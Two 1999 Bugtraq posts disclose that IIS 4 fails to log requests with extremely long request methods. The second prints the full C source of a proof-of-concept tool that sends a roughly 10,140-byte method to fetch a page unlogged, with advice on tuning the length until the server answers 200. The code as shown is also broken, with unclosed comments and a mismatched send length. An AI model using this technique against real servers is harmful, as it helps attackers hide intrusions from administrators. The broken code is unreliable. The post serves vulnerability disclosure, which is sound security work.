Date: Fri, 22 Jan 1999 10:12:52 -0000
From: mnemonix <mnemonix@GLOBALNET.CO.UK>
To: BUGTRAQ@netspace.org
Subject: IIS 4 Request Logging Security Advisory


There is are a combination of problems with IIS 4 that allows an successful
HTTP request to go unlogged.

Microsoft's Internet Information Server 4 allows the use of any request
method of almost any length for a resource that is to be interpreted or
executed on the web server. This includes such files as Active Server Pages,
Perl Scripts and ordinary executables.  Consequently a user can request a
file, default.asp, with a request method of AAAAAAAAAAAAAAAAAAAAAAAAA and it
will be returned.

If the request method used added to the path to the requested resource is
over c.10150 bytes long the page is returned and nothing is logged by IIS.
This could allow attacks on the server to go unnoticed.

MS have probably decided to avoid the situation where an attacker could
rapidly fill up disk space by not logging overly long requests. Perhaps it
would be better to truncate such a request and log that.

To demonstrate this I have written an executable called avoid.exe that will
use a request method which is 10140 bytes long that requests /default.asp
>from a webserver. This program does not exploit anything other than the
logging avoidance. You can get a copy from

http://www.infowar.co.uk/mnemonix/avoid.exe

This was tested on NT 4 with SP3 + hotfixes. Can someone test this on a SP4
machine?

Cheers,
David LItchfield
http://www.infowar.co.uk/mnemonix/

---------------------------------------------------------------------------

Date: Sat, 23 Jan 1999 15:52:02 -0000
From: mnemonix <mnemonix@GLOBALNET.CO.UK>
To: BUGTRAQ@netspace.org
Subject: Follow up - IIS 4 logging


There has been a mixed response to this problem - on some machines nothing
is logged and the page is returned, others get a 500 error and others log
the whole request.

>From what I can make out:

Machines that first had IIS 3 then were upgraded to IIS 4 with the NT Option
Pack and  Service Pack 3 or 4 return the page and don't log.

Here is the source for avoid.exe as many have asked for it - for those that
get a 500 response back from the server play around with the request_method
length by increasing it until you get a 200ok response. It will chop and
change between 5xx, 4xx and 200 responses

Cheers,
David Litchfield
http://www.infowar.co.uk/mnemonix

-----------------------8<-----------------------------------------------

/* Compile with eg Visual C++ and link with wsock32.lib

#include <stdio.h>
#include <winsock2.h>
#include <string.h>


int main (int argc, char *argv[])
{
 int snd, rcv, err, portno,a=0,b, res;
 char resp[1024];
 WORD wVersionRequested;
 WSADATA wsaData;
 struct sockaddr_in sa;
 struct hostent *he;
 SOCKET sock;

 if (argc !=2)
  {
   printf("Usage:\nc:\\>%s target_machine\n\nDavid Litchfield\n21st January
1999\n", argv[0]);
   return 0;
  }
 wVersionRequested = MAKEWORD( 2, 0 );
 err = WSAStartup( wVersionRequested, &wsaData );

 if ( err != 0 )
  {
   printf("No winsock.dll\n");
   return 0;
  }
 if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
  {
       printf("No winsock.dll - 2nd\n");
       WSACleanup( );
       return 0;
  }

 if ((he = gethostbyname(argv[1])) == NULL)
  {
   printf("Invalid Host\n");
   return 0;
  }




 sock=socket(AF_INET,SOCK_STREAM,0);
 if (sock==INVALID_SOCKET)
  {
   printf("Invalid Socket!\n");
   return 0;
  }
 else
  {
   printf("");
  }

 sa.sin_addr.s_addr=INADDR_ANY;
 sa.sin_family=AF_INET;



 bind(sock,(struct sockaddr *)&sa,sizeof(sa));



 sa.sin_port=htons(80);

 memcpy(&sa.sin_addr,he->h_addr,he->h_length);
 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0)
  {
       printf("Failed to connect!\n");
  }
 else
  {

/* This loop creates the REQUEST_METHOD and makes it 10140 bytes long

   while (a < 10141)
    {
          snd=send(sock,"A", 1, 0);
     a ++;
    }
   snd=send(sock," /default.asp HTTP/1.0\n\n",43,0);
   rcv=recv(sock,resp,256,0);
   printf("\n%s",resp);
   rcv=recv(sock,resp,1024,0);
   printf("\n%s\n\n",resp);

    }


 closesocket(sock);

return 0;
}

----------------------------->8---------------------------------------------
-------------------------